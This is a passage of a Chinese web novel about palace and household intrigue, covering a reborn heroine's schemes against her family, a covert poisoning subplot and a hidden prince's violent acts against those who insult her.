月姨娘抿了抿唇：“女子本弱，为母则刚。” 苏舒窈笑起来：“月姨娘，想不想让肚子里的孩子成为下一任世子啊？” 月姨娘捏着帕子的手顿了顿：“就怕活不到那一天，这府上，想要我命的，可不是二小姐。” 苏明珠再是胆子大，能越过万氏行事？ 真正要她命的，其实是万氏。 苏明珠不过是万氏手中的刀罢了。 “大小姐如果愿意护着妾身，让妾身顺利产子，妾身今后定会对大小姐言听计从、肝脑涂地。” 苏舒窈眯着眼，静静地打量着月姨娘。 柔弱无骨，怀孕并没有让她容颜减色，反而更添一抹风韵。 “行吧，从今天开始，你的吃食，都从我的小厨房走。” 月姨娘：“妾身多谢大小姐。不知道大小姐想让妾身做什么？” 苏舒窈端起茶盏，轻轻拂去水面茶沫，淡淡地笑道：“先调查一下世子不育的原因吧。” 月姨娘手一抖，“砰”的一声，青花盖碗从手中跌落，摔到桌面，四分五裂。 她脸上涨得通红，身体却漫上一抹凉意，呼吸急促，头皮发麻。 张开嘴，想为自己辩解 话到嘴边，又变成了笑。 月姨娘原本以为，苏舒窈不过稍微聪慧一些罢了，一个闺阁女子，再聪明还能逆天不成？ 她虽然在苏舒窈面前示弱，但更多的是想利用对方。 做小伏低以满足对方的优越感，这可是她的擅长。 等到孩子生下来，当上世子，成为侯爷，她手中有了足够的权力，她也可以玩一玩卸磨杀驴。 没成想，大小姐早就看透了她的把戏。 不仅如此，还早就拿捏住了她的命脉。 看来今后和大小姐接触，心眼子什么的，得全部收起来了。不然到时候怎么死的都不知道。 苏舒窈站起来，看着青绿色的茶水在桌面蔓延，一滴滴往下落。 月姨娘被茶水溅了满身，苏舒窈身上一滴水也没有沾染。 “来人，把水渍清理了，拿帕子给姨娘擦一擦。” 上一世，苏明沛一个孩子都没有。 月姨娘肚子里的孩子，可不是苏明沛的。 唐挽心为了要上孩子，吃了好多苦头，喝了好多中药，求了好多送子观音。 最后还给苏明沛纳了妾。 没有一个女人怀上。 偏偏苏明沛自负得很，觉得他没有问题。 唐挽心私下里告诉她，有一次，苏明沛染了风寒，皇贵妃病重，御医全部被召进了宫里。 唐夫人不知道从哪里请来一个专看男子病的大夫，诊脉后发现，原来问题出在苏明沛身上。 苏明沛原本底子差，再加上长期服用了不育之物，导致生育受到了影响。 苏舒窈好奇，谁这么大胆，敢长期给苏明沛服用导致不育之物？ 第81章 苏明沛不育的原因 月姨娘心事重重回到浮光阁，进屋之前，她揉了揉脸，再次恢复成之前那个娇软单纯、不谙世事的柔弱女子。 “世子，妾身回来了？” 苏明沛正趴在床上看书，见爱妾回来，立马丢下书本：“苏舒窈有没有为难你？” 月姨娘柔声道：“大小姐待妾身极好，听说妾身胃口不好，大小姐还说，让我想吃什么，只管派人告诉她，她院子里有小厨房，吃什么都方便。” 苏明沛得意一笑。 苏舒窈还是像之前那样，一叫就到。 他原本还有些担心，这段时间他对苏舒窈的所作所为确实有些过分，虽然他嘴上很硬，还是担心苏舒窈不管他了。 没想到苏舒窈表面桀骜，实际上还是和之前那样。 听说是他让月姨娘过去的，马上就接纳了月姨娘。 真是江山易改，本性难移。 是他多虑了。 月姨娘看他那个样子就知道他没憋好屁，她软软地贴过去：“世子爷，用膳了吗？” 苏明沛：“用过了。” “世子用了些什么？看起来心情不错啊。”往日，苏明沛一见到水煮菜便面露菜色，今儿这般高兴，想必是吃了什么好东西。 “父亲让人送来的补汤，我喝了感觉极好。” “原来这样，侯爷对世子真是器重。” 月姨娘没将此事放在心上，只是从现在开始，密切注意苏明沛的饮食起居。 苏明沛平时的吃食，都是来自大厨房，世子的份例，比她要多一些。 她一碗水煮菜，苏明沛则有三碗，只不过，威远侯偶尔会派人送汤来。 她私下里悄悄问了明画，威远侯送来的是什么汤。 明画也不太清楚，只知道每次的汤都不同，有时候是鸡汤、有时候是菌菇汤，有时候是药材汤。 送汤的时机也毫无规律，有时候一周送两次，有时候一周也没有一次。 这天，威远侯的汤又送来了，石斛老鸭汤。 这汤一看就是火候到位，鸭肉软烂，月姨娘看着连咽了好几次口水。 月姨娘想偷喝两口，又怕有什么猫腻。 她用茶碗装了一点起来，剩下的给苏明沛喂完了。 到了晚上，月姨娘假装散步，又去了倚兰居。 “大小姐，这汤不会有问题吧？”月姨娘让春杏把装了汤的茶碗递了过去。 要是没有问题，她以后也跟着苏明沛喝一点。 刘妈妈把茶碗接了过去，大约半盏茶时间，刘妈妈回来，伏在苏舒窈耳边，低声说了几句话。 苏舒窈眉头微微皱起。 月姨娘手上搅着帕子：“大小姐，不会是侯爷想让世子绝育吧？” 说完之后，月姨娘也觉得匪夷所思。 怎么可能？ 苏明沛可是威远侯嫡长子，威远侯极其看着嫡长子，早早就封了世子。 让苏明沛绝育，不是让威远侯府断子绝孙吗？ 难道，威远侯早有了换世子的打算？ 就算想换世子，也不可能让人绝育啊？ 难道是二少爷苏明添干的？ 苏明添和苏明沛关系不太好，平时也没什么来往，但，苏明沛也从来不去二少爷那里用膳，二少爷也不会无缘无故给世子送吃食...... 月姨娘忽然觉得，脑子不够用了，她看向苏舒窈，露出一抹请教的神情。 苏舒窈也在思考。 “侯爷不管后宅，这汤是外面买来的，还是威远侯拿钱让大厨房做的？” 月姨娘道：“听说是夫人送给侯爷的，夫人经常给侯爷送汤，以前苏明沛每日去请安的时候，侯爷会分一半给苏明沛。” “夫人就更不可能害世子了......” 威远侯、万氏不可能害苏明沛，苏明珠苏明芷也不可能害他......究竟是谁...... 侯府水好深。 月姨娘脑子都快想冒烟了，还没有头绪，苏舒窈淡淡一笑，一下就想明白了。 月姨娘：“大小姐，您快告诉我，是怎么一回事？” 苏舒窈笑道：“世子是被夫人误伤了。” 威远侯尤其好色，同僚送的女人，出门喝花酒看上的窑姐儿，不管脏的臭的，只要被他看上，都往侯府里塞。 早些年，万氏因为此事和威远侯闹过好几次。 苏明珠走失，也和威远侯一个爱妾有关。当时那个爱妾极为得宠，刚进门一个月就有了身孕，后来不知为什么流产了。 爱妾攀咬是万氏害了她肚子里的孩子，报复将苏明珠给扔了。 万氏气不过，直接将爱妾打死了。 威远侯骂万氏善妒，还曾说要休了她。 后来，万氏消停了下来，对威远侯纳妾的事睁一只眼闭一只眼。万氏便把和威远侯的矛盾，转移到了妾室身上。 妾室一个接一个怀孕，但，怀上的孩子，一个都没能生下来。 自从苏明芷出生后，万氏便更不管威远侯纳妾的事了，奇怪的是，从此之后，威远侯的妾室，一个怀孕的也没有。 原来万氏把威远侯给搞不育了。 送汤，是后宅女子争宠的惯用手段，不仅万氏给威远侯送汤，那些个妾室，偶尔也会送汤。 威远侯不喜欢万氏，平时没妾室送汤的时候，就喝万氏送的汤，其他妾室送汤来，便把喝不完的给苏明沛。 威远侯万万想不到，万氏不是来争宠的，而是来毒杀他的。 万氏也想不到，她这一举动，竟然害了她的好大儿。 不知道苏明沛知道真相的那一天，又会是什么表情。 月姨娘听到真相，惊讶之后，觉得一阵凉意从脚底蔓延。 万氏还真是毒啊。 竟然还敢对威远侯下手。 “大小姐，咱将这件事捅破，让她们狗咬狗去。” 苏舒窈端起白玉茶盏，好似捏着一枚白色棋子，在手中揣摩半晌，方道：“这件事不能由我们捅破，只能让他们自己发现。” 月姨娘叹了口气：“大小姐，这可太难了。” 苏明沛那头猪自负又蠢笨，等他自己发现，比登天还难。 苏舒窈淡淡地笑了笑：“他笨才更好操控。” 月姨娘将身子挪过去半分，摆出一副臣服的姿态：“愿闻其详。” 苏舒窈小声将自己的法子说了。 月姨娘听得连连点头。 “这事万万不可操之过急，慢慢来。今后月姨娘没有太重要的事，最好别来我这儿了。” “妾身听大小姐的。” 第82章 割头 月姨娘是聪明人，苏舒窈吩咐下去之后，就没管了。 在苏舒窈的精心照料下，之前赌草买下的那盆兰草绿云已经开花了。 是时候去求鬼医了。 鬼医住在琅玡山深山里，离京城大约有一天的车程，上一世，她带着秋霜，顾了几个镖师去深山寻找鬼医，吃了不少苦头。 这一世，她叫上了苏明南和苏明沣。 三人约在酒楼里碰面。 马车刚到酒楼，就看见苏明沣站在门口翘首以盼。 “舒窈妹妹，你这段时间怎么都没回家？”苏明沣像只活蹦乱跳的小马驹，一下子冲到马车边，要给苏舒窈充当马凳。 “我可想死你了，我想让人给你递话，母亲偏不让，怕你被侯夫人为难。” 苏舒窈扶着他的手，从马车上下来。 扶上苏明沣手的时候，她感觉手上有种强烈的被人盯着的感觉。 视线熟悉、阴冷、黏腻。 如果两人的手再多触碰一秒，就会被狠狠的侵略、惩罚。 苏舒窈赶紧将手收了回来，扶着马车门框。 “舒窈妹妹，你有什么事啊，专门把我和二哥叫过来。” “三哥哥，进去再说。” 进入酒楼，苏舒窈身上被注视的感觉并没有消失，反而逐渐加重。 她环顾四周，并没有发现那道熟悉的身影。 苏明南等在包厢门口，见到苏舒窈，脸上露出一抹明朗的笑容：“舒窈妹妹。” 苏舒窈上前行了一礼：“二哥哥好。” 忽然，前方一个包厢的门打开。 苏明添出现在门口。 苏舒窈没料到会在这里碰到苏明添，淡淡喊了声：“二少爷。” “二少爷？”苏明添眉心一皱，心中出现一丝不爽。 苏舒窈叫他二少爷，叫外人“二哥哥”。 在他的记忆里，苏舒窈从小到大，最爱跟在他身后，二哥哥长，二哥哥短。 虽然他一点也不稀罕，更是觉得烦。 但还是不爽。 他盯着苏明南看了一眼，眼中露出一抹鄙夷：“怪不得叫我二少爷，原来你在外面攀了高枝？” “就是这高枝，着实有些让人瞧不上眼，一堆垃圾朽木罢了！” “苏舒窈，你就只配和垃圾为伍！” “苏明添，你说什么呢？！”苏明沣上前一步，将苏舒窈护在身后，大声骂道：“你才是垃圾，你全家都是垃圾！” 苏明添咬牙切齿看着苏明沣，“你是什么东西，我在训苏舒窈，关你什么事？！” 他看向苏舒窈，玩味一笑：“苏舒窈，你一个未出阁的小姐，在这里和野男人私会，母亲知道吗？元家知道吗？” 这句话的恶意太大，苏舒窈也忍不住皱了皱眉。 苏明沣挥着拳头朝着苏明添打了过去：“你嘴巴吃了屎吧，胡说八道些什么？！舒窈是我妹妹！” “妹妹？把奸情说成妹妹的，我还是第一次听说。你是苏舒窈情哥哥吧！” 苏明添身手不错，和苏明沣缠斗起来的时候，还有空继续给苏舒窈造黄谣。 可是，他话音刚落，一块黑漆漆的块状物从天而降，准确无误扔到苏明添嘴里。 苏明添嘴巴张开极大，差点被噎住。 “呸、呸！”他往地上连吐了好几口，“苏明沣，你他妈太阴险了，竟然往我嘴里扔狗屎！” “我杀了你！” 苏明沣得意一笑，看向苏明南：“二哥，你扔得真准！” 苏明南摇了摇头：“不是我。” 苏明沣哈哈大笑：“不是二哥扔的啊？原来是你嘴巴太臭，老天爷都看不惯了。” “老子要你的命！” 苏明添从怀里掏出一把匕首，眼中怀着杀意，气急败坏朝着苏明沣冲了过去。 “明沣，让开，你不是他的对手，让我来。”苏明南神色一变，冲上前一脚将苏明添的手踢开。 苏明南身量魁梧，常年跑镖，反应也比常人快很多。 苏明添不是他的对手，三拳两脚就被苏明南打回了包厢里。 苏明添跌坐在地上，包厢里的人围了过来：“苏兄，你这是怎么了，要不要人帮忙？” 苏明添满嘴狗屎，只觉得耻辱无比：“谁帮我把他们给废了，小爷重重有赏！” 没一会儿，一大群人围堵在通道里。 “我当是什么人为难苏兄，不过区区一个镖局的镖师罢了。苏兄，等着瞧，我保管让他们给你磕头认错。” “只废这两个男子，还是连这个女娘也一并废了？”一个三白眼男子斜眼看着苏舒窈：“这小娘们儿，长得不错啊！” 不少淫邪的目光落到苏舒窈身上。 苏舒窈眼神暗沉下来。 苏明添冷声道：“只要你们有本事，她就是你们的。” 他要让苏舒窈知道，背叛他是什么下场。 他并非想让兄弟们侮辱苏舒窈，只是想给她一个教训。 苏舒窈真是太过分了，竟然伙同外人欺辱他，那她就要承担相应的代价。 到时候苏舒窈跪下来求他，求得他满意了，他救她就行了。 苏明沣脱下外套罩在苏舒窈头上挡住她的脸：“舒窈妹妹，你先进去，这里交给我和二哥就行。” 苏明南就算再厉害，也没办法一个人打这么多个。 苏明沣担心苏舒窈受伤。 就在这时，苏舒窈感觉，落在身上的视线消失了，但周围的空气却忽然凉了下来。 “不用，我看着你们。” 苏舒窈感受到一丝异样的、绝对的安全感。 她沉稳淡然地取下罩在头顶的衣裳，用一种怜悯的表情看向三白眼。 三白眼上前一步，嘴里不干不净起来：“乖乖，让爷好好疼你......” 话还没说完，一个黑色的铁皮盒子从房顶以一种极快的速度滑落下来。 铁皮盒子擦过苏明添的脸，在脸上留下一道长长的血痕。 紧接着，铁皮盒子将三白眼男人的头罩住。 在场众人还没来得及看清铁皮盒子的样子，只听“咔嚓”一声，男子的头身分离了。 “哐当——” 人头落地，身体还保持着站立。 整个酒楼安静下来。 周围的空气更加阴凉。 紧接着，传来倒吸凉气的声音。 苏明添吓得腿软，当场就吐了起来。 第83章 断腿 “舒窈妹妹，你别看，快闭眼！”苏明沣也吓得不行，他强撑着转过身，伸手要去蒙苏舒窈的眼睛。 刚伸出手，苏明沣就感到后背传来一道莫名的凉意，有种被大型肉食猛兽盯上的错觉。 越靠近苏舒窈，危险的气息越浓烈。 苏明沣没有退缩，只是微微皱了皱眉，反而更上前一步。 杀人狂魔还在，他更要保护舒窈妹妹。 宁愿自己受伤，也不能让舒窈妹妹手上破皮。 苏舒窈退后一步，躲开苏明沣的手：“三哥哥，我不怕。” 前一世她便听闻，九殿下极其聪慧，是大夏最顶尖的暗器大师，镇抚司很多精巧的刑具都是他发明的。 今日一见，果然名不虚传。 看似一个普普通通的铁皮盒子，眨眼间便取下了人头。 刚刚那个铁盒子，和之前九殿下遗落的血滴子在造型上又有些不同，至少看起来很新。 割头又快又准，刀口应该很锋利吧。 三白眼一下就死了，没受太多罪。 可惜了。 至少应该先割掉他的舌头。 她抬眼环顾四周，酒楼过道上，并没有能让人藏身的阴暗角落。 但她知道，九殿下一定潜伏在某处，眼瞳闪着光，正冷冷地注视着她。 那种感觉，仿佛有人在她后颈吹了口凉气，黏腻湿冷的空气顺着脊背，往骨髓里钻。 皮肤瞬间战栗起来。 苏舒窈此刻的心情很复杂，害怕、兴奋、打脸苏明添的爽感混杂在一起，心跳加快，脸颊泛红。 想必扔进苏明添嘴里的那团狗屎，也是九殿下的杰作。 九殿下就算戴了手套也不可能触碰狗屎，难道他用了筷子？ 想到骄矜冷漠的九殿下竟然会做出这种事，苏舒窈轻笑起来。 后背再次发凉，那种被注视着、阴冷黏腻的感觉，再次席卷而来。 酥麻感从脚底一路蔓延至头发丝。 她转过身，看向视线传来的方向，虽然空无一物，但她还是张开嘴，无声地说了声：“谢谢。” 她相信九殿下看到了。 酒店老板报了官，很快官兵赶来，将所有人带回了衙门。 “是苏舒窈，肯定是她！！”衙门里，苏明添当着官差的面，恶狠狠指着人，大声道：“官爷，抓住她，严刑拷打！一定和她有关！” 最近侯府接连出现怪事，吴妈妈稀里糊涂惨死，大哥莫名其妙被绑架...... 吴妈妈和大哥和苏舒窈都有过节。 然后是他的兄弟...... “白兄弟只不过开了两句玩笑，什么都没做，就被残忍杀害，苏舒窈，你这个毒妇！！” 苏明添指着苏舒窈，神色激动，手指颤抖。 “什么开玩笑，女子名节事大，名节的事是能随便拿来开玩笑的？”苏明南冷眼看过去。 “苏明添你胡说八道什么？！你别乱泼脏水！”苏明沣将苏舒窈护在身后，厉声回骂道：“那个三白眼眼神飘忽不定，一看就是鸡鸣狗盗之徒，说不定是被仇家追杀，关舒窈什么事？！” “苏明添，闭上你那张臭嘴！” 苏明添大声骂道：“你们俩这般护着她，指不定和她有什么不正当关系！她还有什么清白！” 苏明沛嘴巴里的狗屎还没擦干，在嘴里发酵之后，他骂人时口沫横飞，狗屎混合着口水四溅开来，臭烘烘的。 官差捂着鼻子，不耐烦道：“快闭嘴吧，你的嘴真的好臭！” 不止官差，原本和他称兄道弟的朋友们也默默远离，捂住口鼻。 苏明沛这才想起嘴里被扔了狗屎，被吓唬之后忘记了。 他悻悻闭上嘴，去恭房漱口去了。 官差不能根据苏明添的一面之词定罪，问了半天，什么也没问出来，将人全部放了。 从衙门出来，苏舒窈看向苏明沣：“三哥哥，以后别那么冲动。” 苏明添拿着匕首朝着苏明沣冲过去的时候，苏舒窈的心提到了嗓子眼。 她怕三哥哥受伤。 “我的小命，比起舒窈妹妹的清白来，算不上什么！谁敢侮辱我的妹妹，我就敢和谁拼命！” 苏明沣虽然一身布衣，看起来比不得苏明添富贵，但少年眼中满是桀骜，透着一股青春的飞扬。 “我的妹妹，自有我来守护！” “舒窈妹妹是这世间最美好的女子，怎能任他随意污蔑！” 大夏注重名声，也有哥哥守护妹妹清白的传统，为了自家姐妹的名声不顾性命，流传出去是可以做官的。 苏明沣这话一点也不成熟，有些轻狂、憨痴，要是以前，苏舒窈听到这样的发言，可能会一笑了之。 现在却觉得眼眶有些发热。 从遇到苏明添开始，苏舒窈内心始终平静，被污蔑清白，她连眉头都没皱一下。 此时此刻，心里却掀起了丝丝波澜。 从小一起长大的嫡亲二哥，任由外人侮辱她，甚至主动挑起事端毁她清白。 她和苏明沣和苏明南不过相识月余，两人却为了维护她，不顾性命。 原来被哥哥维护，是这种感觉。 真好。 苏舒窈背过身，轻轻吸了吸鼻子。 这一背身，正好看到苏明添的背影。 苏明添在骂骂咧咧，大概率在说她的坏话。 苏舒窈淡淡地笑了笑，暗自思忖，苏明添的报应什么时候来呢？ 上一世，应该就是在最近几日，苏明添摔断了腿。 这一世，希望他摔得厉害点。 全身骨头都被摔断就好了。 ~ 苏明添心情不太好。 他洗了好几次嘴，又用细盐洗了牙齿，嚼了茶叶香料，还是觉得没洗干净。 双手捧着，连呵了几口气闻气味。 待会儿可是要去见恭王世子的，恭王世子最是喜洁，要是被恭王世子发现他吃了狗屎，他的前途就完了！ 可恶的苏舒窈，这坨狗屎，肯定也是她干的！ “苏兄，刚刚那个真是你妹妹？”王兄上前揽住人，往前走。 一起来的兄弟都躲着他，生怕被他熏臭了，面对忽然而来的好意，苏明添心里稍微有些宽慰。 提到苏舒窈，他冷嗤一声：“我怎么会有那种吃里扒外的妹妹？！” 王兄也对苏舒窈起了兴趣，但他不像三白眼那般直白，他委婉道：“既然这样，苏兄何不将她献给恭王世子，我见过恭王世子几个最得宠的姬妾，还不及刚才那女子一半颜色。” 恭王世子最是大方，玩腻的女子，经常送人。 像刚刚那种绝色，恭王世子肯定喜欢，但那女子性子刚烈，肯定不会受宠。 到时候那女子被厌弃，他也有一亲芳泽的机会...... 第84章 演武场 从衙门出来，苏舒窈坐上马车，直接去往琅玡山。她独自坐在马车里，苏明沣和苏明南骑马守在一边。 上车前，苏舒窈偶尔会感觉到九殿下的视线。 视线强烈，好似将周围的空气变成实质。 大白天，周围那么多人，九殿下应该不会出现。 可惜了。 不知道晚上能不能看到他。 京城到琅玡山有一天的车程，到了山脚下，还需要爬山。其实这些都还好，最让人发愁的，是鬼医的脾气。 鬼医敏感、刁钻、阴暗，稍微不合心意，便给病人下毒。 直接将人给医没。 上一世，苏舒窈不仅给了大量诊金，还在深山当了一个月药童，任劳任怨，才求得鬼医下山为苏明添看诊。 苏明添摆着侯府二少爷的架子，不喜欢鬼医看诊的态度，期间一直是苏舒窈在中间斡旋。 苏明添得罪鬼医一次，苏舒窈就要为鬼医试毒一次。 有一次鬼医不知道用了什么毒，她全身浮肿，痒了一周，吃也吃不好，睡也睡不着。 付出这么多，非但没有得到苏明添感激，反而被全家埋怨。 万氏说她把不三不四的人带回府，如果苏明添的腿伤好不了，全是她的责任。 威远侯找鬼医要壮阳的方子被拒，逼着她拿银子买了两个妾才消停...... 其中艰辛，现在想起，全部化为一道唏嘘。 “走吧，鬼医住在山上，马车上不去。”苏舒窈将“绿云”交给苏明沣，提起裙裾，准备爬山。 “要爬多久？”苏明沣抬头看了眼藏在云山里的山顶，微微皱眉。 “快的话大半天。” 上一世不知道路，苏舒窈请了四个镖师护送，她和秋霜在山里转了好几天，又误入鬼医设置的阵法，花了整整五天才找到鬼医的住所。 这一世，大半天应该能到吧。 “等一等。”苏明南从腰上抽出一把砍刀，转身钻进了树林。 没一会儿，他抱了一捆竹竿回来。 “二哥哥，你这是干什么？”苏舒窈问道。 “做一个滑竿，我和三儿抬你上去。”苏明南不等苏舒窈开口拒绝，手脚麻利地劈开竹筒。 “哎呀，还是二哥聪明，我怎么没想到。”苏明沣把绿云塞回苏舒窈怀中：“舒窈妹妹，你去马车上坐一会儿，喝点茶，吃点点心，一会儿好了叫你。” 苏舒窈抱着绿云，站在原地有些无措：“你们做事，我怎么能休息？” “怎么不能啦？你是女子，女子本就要娇养，更何况你是我们的妹妹，还是为了父亲上山寻医。” “我苏明沣现在没什么本事，钱也没有，但我能尽最大的努力让妹妹少受苦。” “等我有钱了，我顾八抬大轿抬你上山，还请八个丫鬟帮你驱赶蚊虫！” 阳光下的少年像是一阵劲风，桀骜充满朝气，他虽然拥有的很少，但却愿意倾其所有对妹妹好。 满腔赤诚让人动容。 苏明沣说完，主动上前将人推到马车边：“快上去歇着，这里蚊虫多。” “秋霜，把你主子看好，别让她下来。”看着人上了马车坐好，苏明沣像只快乐的小马驹，蹦跶到苏明南身边，挽起袖子埋头做滑竿。 苏舒窈坐在马车上，看着怀中这盆“绿云”，浅浅笑了笑。 人跟人的差距，真的好大。 侯府从来不懂感恩为何物，只知道一味索取。 苏明沣一家人则不同，给他们一朵小花，他们则会想方设法回报一整个花园。 这种感觉真好。 苏舒窈坐上马车，泡了茶，将绿云交给秋霜看好，亲自下车给两个哥哥送水。 ~ 另一边，苏明添终于和恭王世子的队伍汇合。 他的神情恹恹的，没什么精神。 王兄揽着他的肩膀鼓励道：“苏兄，打起精神来。只要能得到恭王世子赏识，到时候入了金吾卫，还愁收拾不了一个镖师和一个女子？” 苏明添深吸一口气，“恭王世子身边人才济济，说实话，我有些信心不足。” 王兄环顾四周，也跟着点了点头：“确实，今日来了好多高手。” “但尽全力，无愧于心。” 两人互相打完气，王兄压低声音：“苏兄，我这里有个主意，运作得好，说不定还能捞个金吾卫副统领的职位。” 苏明添被勾出了兴趣：“愿闻其详。” 王兄斜着眼，眼白露出更多：“苏兄何不将之前酒楼那女子献给恭王世子？” 苏明添皱了皱眉：“堂堂男子，怎么能靠女子上位，这事王兄千万莫要再提！” 他苏明添可是要干大事的人，用自家妹妹换取前程这种事，他苏明添不屑。 大夏看重名声，他可不能坏了名声。 退一万步讲，就算要把苏舒窈献上去谋划前程，主动开口那个人，绝对不能是他。 苏舒窈如果真的为他的前程着想，应该主动牺牲，而不是让他开口。 王兄见劝不动，笑了笑：“苏兄志气高，令人钦佩！” 他见过很多这样的人，一开始清冷孤高、踌躇满志，等志气被磨灭得差不多，立马就想通了。 虚伪至极。 他有的是耐心。 恭王世子带着人去了西山大营的演武场，并且当场宣布：比试夺魁者，有重赏。 不巧的是，演武场有人在练习。 楚翎曜身着玄色蟒袍，骑在一匹白马上。 马蹄踏碎一地金光，映着凛冽的红缨枪尖，晃得人不敢直视。 恭王世子看着人，眼皮跳了跳：“怎么遇到这个祖宗？” 转身就要走。 但他带了这么多人，很是打眼，一眼就被楚翎曜瞧见了。 楚翎曜抬手勒马，白马仰天长啸。 苏明添远远看着人，心中莫名其妙生出一丝不妙。 不知道是不是错觉，他总觉得，九殿下在看他，并且看他的眼神不太友善。 他好像没得罪过九皇子？ 第85章 坠马 恭王世子知道跑不了，赶紧从马上下来，他一路小跑到楚翎曜面前，规规矩矩行了一礼：“九皇叔安好。” 楚翎曜神情冷漠，薄唇轻启：“小六，看见本王，跑什么？” 大皇子虽然不得皇帝宠爱，但早早封了郡王赐名恭王，在宗室任闲职。 恭王世子楚兴是大皇子正妃所出，在家排行第六，比楚翎曜还要大上几岁。 恭王见了楚翎曜都不敢造次，楚兴见到他更是发怵，“九皇叔，小六没跑，小六看到皇叔高兴。” “过来，陪本王练练。”楚翎曜淡淡睨他一眼。 楚兴打了个哈哈：“九皇叔，我功夫差，怕是不能让皇叔尽兴。” 他回头看了一眼跟来的人，谄媚地笑道：“九皇叔要是不嫌弃，随便挑一个陪九皇叔玩玩？” 楚翎曜视线逡巡一圈，最后落在苏明添身上，抬起手中红缨枪，枪尖指着他的脑袋。 目光好似极寒的冰，苏明添不由自主打了个寒颤。 楚兴看向苏明添：“你谁，还不速速报上名来！九皇叔看上你，是你的福气。” 苏明添激动地双手发抖，没想到能在九皇子和恭王世子两位大人物面前露脸。 今儿真是运气不错。 周围众人也投来羡慕的目光。 苏明添上前一步，双手抱拳，就连声音都有些发抖：“在下苏明添，来自威远侯府。不知殿下想和在下比试什么？” 楚翎曜晃了晃手中红缨枪，话都懒得说一句，双腿轻轻一夹马肚，移步到演武场中央。 热风吹起他束发的玉冠流苏，飘逸如仙。 九殿下生得极其俊美，在一群舞刀弄枪的粗人中间，更是被衬得恍若仙人下凡。 但，这份俊美在比试中可不是加分项。 苏明添只看了楚翎曜一眼，便觉得自己赢定了。 他夏练三伏冬练三九，怎么可能敌不过九皇子那样的花架子。 看着楚翎曜的背影，苏明添开始思索：该怎么炫技，才能最大程度地展示自己的实力。 楚兴让人递上一杆红缨枪，转头又吩咐下人：“赶紧牵一匹马来！” 苏明添指着不远处一匹黑色骏马：“世子殿下，马不是有现成的吗？” 楚兴循声看过去，黑马膘肥体壮，鬃毛黑得发亮，像是初秋的第一抹松烟墨。 就是看起来脾气不太好。 一旁看守的兵士道：“恭王世子殿下，这匹马叫雷雨，雷雨脾气不太好，一般人驾驭不了，整个西山大营，能驾驭它的，不超过三个人。” 苏明添打算在恭王世子面前炫技，当然不能轻易退缩：“能不能让在下试试？” 兵士：“先说好，出了事，我可不负责。” 苏明添朗声应下：“好！” 兵士：“那你先等等，我去拿根红萝卜，雷雨喜欢吃红萝卜，它吃完红萝卜脾气会好很多，哎，你怎么上去了......” 苏明添拉过缰绳，在马背上拍了两下，翻身上马，稳稳坐在马上。 雷雨转头看了他一眼，打了个喷嚏，踢了踢马蹄，看起来脾气很好。 苏明添眉眼一扬：“雷雨，不过如此。” 楚兴眼中出现一抹赞许，“嗯嗯，不错，你叫什么来着？” “在下苏明添，家父乃威远侯。” “好，苏明添，本世子记住你了！快去吧，别让九皇叔久等了！” 苏明添没急着离开，低声道：“恭王世子，要是伤了九殿下......” 楚兴嘿嘿一笑：“伤了他，本世子大大有赏！” 苏明添眼中闪过一丝狠戾。 这个赏，他拿定了！ 苏明添骑着马，志气满满进入演武场。 “驾。”他操控着马匹，向楚翎曜靠近。 楚翎曜抬起眼，淡淡地睨了雷雨一眼。 视线冰凉，像是淬了冰的寒风，在炎炎夏日也让人遍体生寒。 雷雨打了好几个喷嚏。 “九殿下，得罪......” 苏明添话没说完，身下黑马浑身一僵，鼻翼翕动喷出粗重的白气，发疯似的忽然站了起来，开始剧烈摇摆。 黑马将身体反弓，再猛地一沉，苏明添来不及勒紧缰绳，便被狠狠地甩了下去。 将人甩下地之后，雷雨并未消停，甩着马蹄冲了过去。 铁蹄重重砸下地面，掀起阵阵尘土。 只听“咔嚓”一声，苏明添的腿被马蹄踩断了。 “快来人啊，马发疯了！！！” 黑马绷起身子，疯狂原地打转，马颈剧烈摆动，四蹄乱蹬。 苏明添被马蹄踩了好几脚。 一开始他还能惨叫出声，没一会儿，他便像团烂肉似的瘫软在地，也不知道死没死。 “这马疯了，赶紧射杀了！！” 立刻有人拿出弓箭，对准黑马。 “杀不得！”演武场边上的武将赶忙上前阻止：“这是战马，杀不得！” 培育一匹善战的战马，花费的资源和精力巨大，十个苏明添都赔不起。 楚兴赶紧抬手阻止：“赶紧把人拖出来！注意，别惊了马！” 他有些不悦，这人拽得跟个公鸡似的，没想到就是个假把式，可把他的脸丢完了：“没本事，装什么装啊？！” “真是晦气！” 王兄被人推出来：“苏兄和你关系好，你还不上前救人？” 王兄吓得浑身发颤。 雷雨还在发狂，他怎么敢过去。 他们这种人命贱，比不得一匹马高贵。 王兄也怨上了苏明添，瘦驴拉硬屎，瞎逞什么能啊？！ 都说了让雷雨吃根胡萝卜，不知道慌什么慌。 雷雨明显是没吃到胡萝卜伺机报复。 楚翎曜骑着马，慢慢悠悠晃过来，黑马立刻停止暴躁，打了个响鼻，摇着尾巴乖顺地靠了过去。 楚翎曜慢条斯理伸出手，在马耳朵上摸了摸。 雷雨眨巴两下大眼睛，放缓步伐，用头蹭了蹭他的手心。 王兄松了一口气，赶紧过去拖苏明添。 雷雨看到王兄去拖苏明添，转头呲着牙奔了回去，一口咬在王兄脸上。 王兄半张脸顿时血肉模糊。 雷雨转身，后蹄踹到王兄身上，一脚把人给踹飞了。 踹完人，雷雨转身跑到楚翎曜身边，摇晃尾巴。 楚翎曜掏出一个苹果塞进马嘴，雷雨龇牙咧嘴吃起来。 喂完马，他轻描淡写睨了苏明添一眼，薄唇慢慢悠悠吐出两个字：“废物。” 在外人看来，有点像是九殿下操控雷雨故意整治苏明添。 可是，苏明添那种无名小卒，要不是跟着恭王世子，连九殿下的面都见不到，根本就没有得罪九殿下的机会。 九殿下为什么要整治他？ 再说了，雷雨那么暴躁，怎么会受九殿下操控？ 这一切就是意外。 苏明添装逼失败导致的意外。 第86章 卖妹求荣 楚翎曜眯着眼，看向楚兴的视线变得尖锐：“这种窝囊废都被你找来了，有几分本事。” 楚兴弓着腰，扯出一个苦笑：“我也不清楚这人来历，扫了九皇叔的雅兴，实在抱歉。” “要不，我选个人陪九皇叔练一会儿？”楚兴拍着胸脯：“一定让九皇叔尽兴！” “不用了。”楚翎曜骑着马，转身利落离开。 看着楚翎曜的身影，楚兴摸了把头上的冷汗。 终于把这个祖宗送走了。 演武场上，苏明添躺在地上，不知生死，王兄半边脸被咬得血肉模糊，坐在地上哀嚎。 楚兴只瞧了一眼，转身就走：“给点钱打发了。” 这等贱民，不值得他花心思。 ~ 苏明添被抬回威远侯府的时候，只剩了一口气。 